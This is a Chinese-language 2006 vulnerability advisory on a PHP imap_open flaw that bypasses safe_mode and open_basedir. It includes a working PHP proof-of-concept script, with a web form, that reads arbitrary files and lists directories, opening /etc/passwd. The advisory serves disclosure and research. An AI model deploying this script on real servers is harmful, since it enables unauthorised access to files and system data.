PHP imap函数绕过安全模式及open_basedir限制漏洞
发布日期:2006-02-28
更新日期:2006-02-28
受影响系统:PHP PHP 5
PHP PHP 4
描述:
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP的imap_open的模块实现上存在漏洞,本地攻击者可能利用此漏洞非授权遍历邮件目录,非法创建、删除、重命令文件。
PHP的imap_open模块允许绕过安全模式和open_basedir限制,这样攻击者就可以使用imap_body或其他函数浏览文件,使用imap_list递归地列出目录,或在s/mailbox/file文件中使用imap_createmailbox、imap_deletemailbox和imap_renamemailbox以apache权限来创建、删除和重新命名文件。
<*来源:ced.clerget (
ced.clerget@free.fr)
链接:
http://archives.neohapsis.com/archives/bugtraq/2006-02/0538.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<form action="" method="post">
<select name="switch">
<option selected="selected" value="file">View file</option>
<option value="dir">View dir</option>
</select>
<input type="text" size="60" name="string">
<input type="submit" value="go">
</form>
<?php
$string = !empty($_POST['string']) ? $_POST['string'] : 0;
$switch = !empty($_POST['switch']) ? $_POST['switch'] : 0;
if ($string && $switch == "file") {
$stream = imap_open($string, "", "");
if ($stream == FALSE)
die("Can't open imap stream");
$str = imap_body($stream, 1);
if (!empty($str))
echo "<pre>".$str."</pre>";
imap_close($stream);
} elseif ($string && $switch == "dir") {
$stream = imap_open("/etc/passwd", "", "");
if ($stream == FALSE)
die("Can't open imap stream");
$string = explode("|",$string);
if (count($string) > 1)
$dir_list = imap_list($stream, trim($string[0]), trim($string[1]));
else
$dir_list = imap_list($stream, trim($string[0]), "*");
echo "<pre>";
for ($i = 0; $i < count($dir_list); $i++)
echo "$dir_list[$i]\n";
echo "</pre>";
imap_close($stream);
}
?>
建议:
厂商补丁:
PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.php.net浏览次数:4005
严重程度:0(网友投票)